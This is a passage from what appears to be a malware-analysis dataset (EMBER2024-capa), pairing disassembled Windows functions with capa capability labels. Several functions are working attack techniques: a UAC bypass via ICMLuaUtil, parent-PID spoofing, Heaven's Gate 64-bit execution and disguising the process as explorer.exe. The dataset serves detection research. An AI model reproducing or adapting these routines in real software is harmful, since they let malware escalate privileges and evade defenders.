joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e13
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1488
call fcn.00406a40
push esi
push edi
xor eax, eax
mov esi, ecx
push 0x3c
pop edi
push edi
lea ecx, [ebp - 0x3c]
mov word [ebp - 0x440], ax
mov word [ebp - 0x140], ax
mov word [ebp - 0x240], ax
mov word [ebp - 0x1488], ax
call fcn.0040553d
lea eax, [ebp - 0x440]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x240]
pop ecx
mov dword [ebp - 0x18], eax
lea ecx, [edi + 0x44]
lea eax, [ebp - 0x1488]
mov dword [ebp - 0x28], 0x100
mov dword [ebp - 0x10], eax
xor edi, edi
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], ecx
push eax
push edi
push edi
push esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], 0x824
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x404ed2
cmp dword [ebp - 0x30], 3
jne 0x404eab
push 0x50
pop eax
jmp 0x404eb9
cmp dword [ebp - 0x30], 4
jne 0x404ed2
xor edi, edi
mov eax, 0x1bb
inc edi
push eax
lea eax, [ebp - 0x1488]
mov ecx, edi
push eax
lea edx, [ebp - 0x440]
call fcn.00404ccb
pop ecx
pop ecx
jmp 0x404ed4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404fe0
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push 5
xor ebx, ebx
mov dword [ebp - 0x10], ecx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x4050b3
mov eax, dword [0x42a0d4]
push edi
cmp eax, 0x66
jb 0x405016
mov edi, 0x13f
jmp 0x405027
cmp eax, 0x64
sbb edi, edi
and edi, 0xfffffe3c
add edi, 0x1ff
mov ecx, 0x8000
call fcn.00404f83
xor ecx, ecx
mov ebx, eax
push ecx
push ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x8000
push ebx
push 3
push edi
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0x4050a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40509a
mov ecx, ebx
call fcn.00404f94
mov esi, dword [ebp - 4]
add esi, 0x8000
mov ecx, esi
call fcn.00404f83
xor ecx, ecx
mov ebx, eax
push ecx
push ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
mov esi, dword [ebp - 0xc]
push ebx
push 3
push edi
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0x4050a3
mov ecx, ebx
call fcn.00404f94
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405152
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
push ebx
push esi
push edi
mov edi, 0x208
mov dword [ebp - 0xc], ecx
push edi
push 0
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x5c]
push str.___:
push eax
mov dword [ebp - 0x20], esi
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x178]
mov esi, 0x11c
mov dword [ebp - 8], 0x2080000
push esi
call fcn.0040553d
push 0x24
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x178], esi
call fcn.0040553d
pop ecx
pop ecx
push 0
push 0x24
lea eax, [ebp - 0x4c]
push eax
push 0x17
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
xor edi, edi
test eax, eax
lea eax, [ebp - 0x178]
cmovns edi, dword [ebp - 0x4c]
push eax
mov dword [ebp - 0x14], edi
call dword [sym.imp.ntdll.dll_RtlGetVersion]
cmp dword [ebp - 0x174], 0xa
sbb edx, edx
and edx, 0xfffff000
add edx, 0x1040
xor esi, esi
mov dword [ebp - 0x18], edx
test edi, edi
je 0x405215
xor eax, eax
mov ecx, esi
inc eax
shl eax, cl
test edi, eax
je 0x4052e8
and dword [ebp - 0x3c], 0
lea eax, [ebp - 0x5c]
and dword [ebp - 0x30], 0
lea edi, [esi + 0x41]
and dword [ebp - 0x2c], 0
push 0xc
mov dword [ebp - 0x24], eax
pop eax
push 0xe
mov word [ebp - 0x28], ax
pop eax
mov word [ebp - 0x26], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x40]
push eax
push 1
lea eax, [ebp - 0x10]
mov word [ebp - 0x54], di
push eax
mov dword [ebp - 0x40], 0x18
mov dword [ebp - 0x34], edx
call dword [sym.imp.ntdll.dll_NtOpenSymbolicLinkObject]
test eax, eax
js 0x4052dc
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ntdll.dll_NtQuerySymbolicLinkObject]
test eax, eax
jns 0x40527b
xor eax, eax
mov word [ebp - 8], ax
jmp 0x4052d1
movzx ecx, word [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 4]
shr ecx, 1
mov word [eax + ecx*2], dx
movzx eax, word [ebp - 8]
shr eax, 1
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x4052d1
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0xc]
shr eax, 1
push 0x5c
lea eax, [ecx + eax*2]
pop ecx
cmp cx, word [eax]
jne 0x4052d1
push 0x3a
pop ecx
push eax
lea eax, [ebx + 4]
mov word [ebx], di
push eax
mov word [ebx + 2], cx
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
mov dword [ebp - 0x1c], 1
push dword [ebp - 0x10]
call dword [sym.imp.ntdll.dll_NtClose]
jmp 0x4052e2
xor eax, eax
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
inc esi
cmp esi, 0x1a
jb 0x405202
push dword [ebp - 0x20]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4053f5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
lea eax, [ebp - 0x218]
push ebx
push esi
push edi
push 0x104
push eax
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x405496
lea ecx, [ebp - 0x218]
call fcn.0040560c
lea ecx, [ebp - 4]
mov dword [ebp - 4], edi
call fcn.00404fe0
mov esi, eax
test esi, esi
je 0x4054a4
mov dword [ebp - 8], edi
cmp dword [ebp - 4], edi
jbe 0x405499
mov ebx, esi
mov ecx, dword [ebx]
mov edx, str.DcomLaunch
call fcn.0040555e
test eax, eax
jne 0x405480
mov eax, dword [ebx + 0x24]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x405480
push ecx
lea edx, [ebp - 0x438]
mov ecx, eax
call fcn.00401d4c
test eax, eax
js 0x405480
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x438]
call fcn.0040555e
test eax, eax
je 0x405491
mov eax, dword [ebp - 8]
add ebx, 0x2c
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 4]
jb 0x40543f
jmp 0x405499
mov edi, dword [ebp - 0xc]
jmp 0x405499
mov esi, dword [ebp - 0xc]
test esi, esi
je 0x4054a4
mov ecx, esi
call fcn.00404f94
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405646
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push esi
mov esi, 0x11c
lea ecx, [ebp - 0x11c]
push esi
call fcn.0040553d
pop ecx
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x11c], esi
push eax
call dword [sym.imp.ntdll.dll_RtlGetVersion]
pop esi
test eax, eax
js 0x40582f
mov ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
cmp ecx, 6
jne 0x405697
cmp eax, 1
jb 0x405699
cmp ecx, 6
jae 0x4056a5
and dword [0x42a0d4], 0
jmp 0x405836
cmp ecx, 6
jne 0x4056ea
cmp eax, 1
jne 0x4056be
mov dword [0x42a0d4], 0x3d
jmp 0x405836
cmp eax, 2
jne 0x4056d2
mov dword [0x42a0d4], 0x3e
jmp 0x405836
cmp eax, 3
jne 0x40582f
mov dword [0x42a0d4], 0x3f
jmp 0x405836
cmp ecx, 0xa
jne 0x40582f
test eax, eax
jne 0x40582f
mov eax, dword [ebp - 0x110]
cmp eax, 0x57e4
jb 0x405717
mov dword [0x42a0d4], 0x72
jmp 0x405836
cmp eax, 0x55f0
jb 0x40572d
mov dword [0x42a0d4], 0x71
jmp 0x405836
cmp eax, 0x4a64
jb 0x405743
mov dword [0x42a0d4], 0x70
jmp 0x405836
cmp eax, 0x4a63
jb 0x405759
mov dword [0x42a0d4], 0x6f
jmp 0x405836
cmp eax, 0x4a62
jb 0x40576f
mov dword [0x42a0d4], 0x6e
jmp 0x405836
cmp eax, 0x4a61
jb 0x405785
mov dword [0x42a0d4], 0x6d
jmp 0x405836
cmp eax, 0x47bb
jb 0x40579b
mov dword [0x42a0d4], 0x6c
jmp 0x405836
cmp eax, 0x47ba
jb 0x4057b1
mov dword [0x42a0d4], 0x6b
jmp 0x405836
cmp eax, 0x4563
jb 0x4057c4
mov dword [0x42a0d4], 0x6a
jmp 0x405836
cmp eax, 0x42ee
jb 0x4057d7
mov dword [0x42a0d4], 0x69
jmp 0x405836
cmp eax, 0x3fab
jb 0x4057ea
mov dword [0x42a0d4], 0x68
jmp 0x405836
cmp eax, 0x3ad7
jb 0x4057fd
mov dword [0x42a0d4], 0x67
jmp 0x405836
cmp eax, 0x3839
jb 0x405810
mov dword [0x42a0d4], 0x66
jmp 0x405836
cmp eax, 0x295a
jb 0x405823
mov dword [0x42a0d4], 0x65
jmp 0x405836
mov dword [0x42a0d4], 0x64
jmp 0x405836
or dword [0x42a0d4], 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x4058d9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
sub esp, 0x224
cmp dword [0x42a0dc], 0
push edi
mov edi, dword [eax + 0x30]
jne 0x405a14
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x405a14
push ebx
lea ecx, [ebp - 0x224]
xor ebx, ebx
lea edx, [ecx + 2]
mov dword [ebp - 8], ebx
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x405922
sub ecx, edx
sar ecx, 1
je 0x405948
lea eax, [ebp + ecx*2 - 0x226]
cmp word [eax], 0x5c
je 0x40594a
sub eax, 2
sub ecx, 1
jne 0x40593a
mov eax, ebx
test eax, eax
je 0x405a13
push 4
xor ecx, ecx
mov dword [ebp - 4], 0x1000
push 0x3000
mov word [eax + 2], cx
lea eax, [ebp - 4]
push eax
push ebx
push 0x42a0dc
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x405a13
push esi
lea eax, [ebp - 0x224]
push eax
push dword [0x42a0dc]
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
push str.explorer.exe
push dword [0x42a0dc]
call dword [sym.imp.SHLWAPI.dll_StrCatW]
mov esi, dword [0x42a0dc]
call dword [sym.imp.ntdll.dll_RtlAcquirePebLock]
mov ecx, dword [edi + 0x10]
test esi, esi
je 0x4059df
mov edx, esi
lea ebx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, word [ebp - 8]
jne 0x4059bd
sub edx, ebx
sar edx, 1
lea eax, [edx + edx]
mov word [ecx + 0x38], ax
add eax, 2
mov word [ecx + 0x3a], ax
xor ebx, ebx
jmp 0x4059e4
xor eax, eax
mov dword [ecx + 0x38], eax
mov dword [ecx + 0x3c], esi
mov eax, dword [edi + 0x10]
push 0x18
pop ecx
push 0x1a
mov word [eax + 0x40], cx
pop ecx
mov word [eax + 0x42], cx
mov dword [eax + 0x44], str.explorer.exe
call dword [sym.imp.ntdll.dll_RtlReleasePebLock]
push ebx
push 0x40585d
push ebx
call dword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x405ab2
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push 2
mov esi, eax
mov dword [ebp - 0xc], edi
push eax
mov ebx, 0xc0000022
mov dword [ebp - 8], eax
mov dword [ebp - 4], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov ecx, edi
mov dword [ebp - 0x10], eax
xor edi, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x405ae2
sub ecx, edx
sar ecx, 1
jne 0x405afd
mov ebx, 0xc000000d
jmp 0x405ba3
lea eax, [ebp - 8]
mov edx, 0x407e38
push eax
push ecx
mov ecx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.00405a19
mov edi, dword [ebp - 8]
pop ecx
pop ecx
test eax, eax
jne 0x405b8f
test edi, edi
je 0x405ba3
push dword [ebp - 0xc]
mov eax, dword [edi]
push str.DisplayCalibrator
push str.SoftwareMicrosoftWindows_NTCurrentVersionICMCalibration
push 0x80000002
push edi
call dword [eax + 0x28]
test eax, eax
js 0x405b8f
lea eax, [ebp - 4]
mov edx, 0x407e28
push eax
push ecx
mov ecx, str.D2E7041B_2927_42fb_8E9F_7CE93B6DC937
call fcn.00405a19
mov esi, dword [ebp - 4]
pop ecx
pop ecx
test eax, eax
jne 0x405b8f
test esi, esi
je 0x405b8f
mov eax, dword [esi]
xor ecx, ecx
push ecx
push esi
call dword [eax + 0x38]
xor ecx, ecx
test eax, eax
push 0x3e8
cmovns ebx, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi]
push str.DisplayCalibrator
push str.SoftwareMicrosoftWindows_NTCurrentVersionICMCalibration
push 0x80000002
push edi
call dword [eax + 0x2c]
test edi, edi
je 0x405b99
mov eax, dword [edi]
push edi
call dword [eax + 8]
test esi, esi
je 0x405ba3
mov ecx, dword [esi]
push esi
call dword [ecx + 8]
cmp dword [ebp - 0x10], 0
jne 0x405baf
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405e06
Capabilities:
Create process on windows
Get common file path
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push esi
push 0x10
mov dword [ebp - 8], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], edx
mov esi, 0xc0000001
mov dword [ebp - 4], 0x30
pop ecx
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x405e28
push 0x48
pop edx
mov ecx, edx
lea eax, [ebp - 0x68]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x405e39
push 0x104
lea eax, [ebp - 0x288]
mov dword [ebp - 0x68], edx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x405f33
cmp dword [ebp - 4], 0x400
ja 0x405f33
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x405f24
lea ecx, [ebp - 4]
push ecx
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x405f03
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push ecx
push 4
push eax
push 0x20000
push ecx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x405f03
push 5
pop eax
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x3c], 1
push eax
lea eax, [ebp - 0x288]
push eax
xor eax, eax
push eax
push 0x80400
push eax
push eax
push eax
push dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405f03
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x405f14
push eax
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov eax, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x405e5f
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40637c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x48
push ebx
push esi
push edi
test ecx, ecx
jle 0x4063a4
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x10], eax
jmp 0x4063ac
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
test ecx, ecx
jle 0x4063c5
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x18], eax
jmp 0x4063cd
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test ecx, ecx
jle 0x4063e6
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x20], eax
jmp 0x4063ee
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
test ecx, ecx
jle 0x406407
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x28], eax
jmp 0x40640f
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 0x40], 0
mov eax, ecx
and dword [ebp - 8], 0
xorps xmm0, xmm0
and dword [ebp - 0xc], 0
mov dword [ebp - 0x44], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call 0x406448
add dword [esp], 5
retf

Function at 0x4064ce
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
push ebx
push esi
push edi
test ecx, ecx
je 0x406540
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x4064ef
test eax, eax
je 0x406540
test edx, edx
je 0x406540
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call fcn.00406500
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406547
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], 0x407e48
push ebx
push esi
push edi
test ecx, ecx
jne 0x406570
test eax, eax
jne 0x406570
xor al, al
jmp 0x4065ce
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call fcn.00406581
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4065d5
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5ac
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 8], xmm0
push 0x33
call 0x4065f0
add dword [esp], 5
retf
Function at 0x40b1f4
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push ecx
sub esp, 0xd4
lea ecx, [ebp - 0xdc]
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041439f
push dword [ebp - 8]
push 0x3f8
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push dword [ebp + 8]
call fcn.004375e9
push 0x5ab
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
call fcn.0040c45a
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40b271
cmp byte [ebp + 0x10], 0xff
je 0x40b271
push 5
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [ebp + 0x10]
push 0x5ac
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemInt]
jmp 0x40b28f
push 0
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x492e2c
push 0x5ac
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
cmp dword [ebp - 0x10], 0
jne 0x40b2c3
push 0x565
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x5ad
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 8]
call fcn.0040b460
push dword [eax*4 + 0x48bc04]
push 0x3ff
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov ecx, dword [ebp - 8]
cmp byte [ecx + 0x12], 0xff
jne 0x40b2fe
push 0x48b284
push 0x3fa
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x40b317
mov ecx, dword [ebp - 8]
call fcn.0040d85e
push 0
push eax
push 0x3fa
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
lea edx, [ebp - 0x70]
push edx
call fcn.00461fc8
lea edx, [ebp - 0x70]
push edx
push 0x401
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
lea edx, [ebp - 0x70]
push edx
call fcn.0040df60
lea edx, [ebp - 0x70]
push edx
push 0x5af
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov ecx, dword [ebp - 8]
call fcn.0041b4f7
mov dword [ebp - 0xc], eax
jmp 0x40b36b
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp al, 0x50
jae 0x40b3cf
push dword [ebp - 4]
call fcn.0040687c
add esp, 4
cmp al, 0xff
je 0x40b368
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + 0x11]
cmp al, 0x1a
jae 0x40b39f
push eax
mov ecx, dword [ebp - 4]
call fcn.0041b782
call fcn.0041c60f
jmp 0x40b3b3
mov al, byte [ecx + 0x14]
cmp al, 3
je 0x40b368
mov edx, eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.00420e83
push eax
mov eax, dword [ebp - 0x10]
add eax, 0x5c0
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x40b368
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4158ec
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push dword [eax*4 + 0x4b5fd0]
push 0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4b6a68]
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
mov esp, ebp
pop ebp
ret 4

Function at 0x418ed4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
call fcn.00412e27
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x4196f8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
call fcn.00403116
push eax
sub esp, 0x28
cmp byte [0x4ac63c], 3
je 0x419733
cmp word [ebp + 0xc], 0x56b
jne 0x419733
mov ecx, dword [ebp + 0xc]
shr ecx, 0x10
test cx, cx
jne 0x419733
push dword [ebp + 8]
mov ecx, 0x496f38
call fcn.00438fc1
test eax, eax
jne 0x419738
jmp 0x41982a
push 0
call fcn.004759bc
add esp, 4
mov ecx, 0x496f38
call fcn.0041ca50
call fcn.0041e5f6
xor ecx, ecx
mov eax, dword [ebp + 8]
cmp al, 3
jae 0x4197d9
mov edx, 0x496f4c
cmp dword [edx + eax*4], ecx
je 0x4197bf
cmp dword [ebp - 8], ecx
je 0x4197bf
mov cl, byte [eax + 0x407d1a]
push ecx
call fcn.0040c755
push eax
call fcn.0041992e
push eax
mov eax, dword [ebp + 8]
imul edx, eax, 0xf
add edx, 0x48b49b
push edx
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x30]
push edx
call fcn.0042d5b0
push 0
push dword [ebp - 0x34]
push 0x48b496
call fcn.0042d5b0
xor ecx, ecx
mov eax, dword [ebp + 8]
mov edx, 0x496f4c
mov dword [edx + eax*4], ecx
cmp al, 0
jne 0x4197c6
inc ecx
jmp 0x4197ca
cmp al, 1
jne 0x4197d2
push ecx
call fcn.00461cf6
jmp 0x419812
call fcn.00461c88
jmp 0x419812
cmp al, 3
jne 0x419812
push 1
mov ecx, 0x492f90
call fcn.00418597
mov dword [ebp - 4], eax
test eax, eax
je 0x419812
push 0
push dword [0x4b7508]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call fcn.00410f9d
add esp, 4
mov dword [0x4ae4c0], 1
cmp dword [ebp - 4], 0
jne 0x41982a
mov byte [0x496f48], 0
call fcn.004034d2
push eax
call fcn.004759bc
mov esp, ebp
pop ebp
ret 8
Function at 0x419949
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.0041ca50
mov ecx, 0x48e858
push dword [ecx + 4]
push dword [ecx]
sub dword [ebp - 8], 0x5a
xor ecx, ecx
push ecx
mov eax, dword [ebp - 4]
mov cl, 1
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov ecx, 0x500a6e
mov dword [ecx], 0x496f30
mov dword [ecx + 4], 0x496f58
mov dword [ecx + 8], 0x496f5c
mov dword [ecx + 0xc], 0x496f34
jmp 0x419996
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp al, 4
jae 0x4199ce
mov ecx, dword [ebp - 4]
cmp dword [ecx + eax*4], 0
jne 0x419993
push eax
push 0x4195aa
push dword [0x4b6a68]
push 0x129
push dword [0x4b6a60]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov dword [ecx + edx*4], eax
jmp 0x419993
call fcn.0041df2d
mov byte [ebp - 0x10], 0
jmp 0x4199dc
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 4
jae 0x419a49
mov eax, dword [0x505f00]
shr eax, cl
test al, 1
jne 0x4199d9
push 1
push 0x32
push 0x32
push dword [ebp - 8]
sub dword [ebp - 0xc], 0x32
push dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push dword [eax + ecx*4]
call dword [sym.imp.USER32.dll_MoveWindow]
cmp dword [ebp + 8], 0
jne 0x419a49
push 5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push dword [ecx + eax*4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x101
push 0
push 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push dword [ecx + eax*4]
call dword [sym.imp.USER32.dll_RedrawWindow]
cmp dword [ebp + 8], 0
jne 0x4199d9
push 0
call fcn.00423971
jmp 0x4199d9
call fcn.004768c0
mov eax, dword [ebp - 4]
mov byte [eax + 0x10], 0
mov esp, ebp
pop ebp
ret 4
Function at 0x423490
Capabilities:
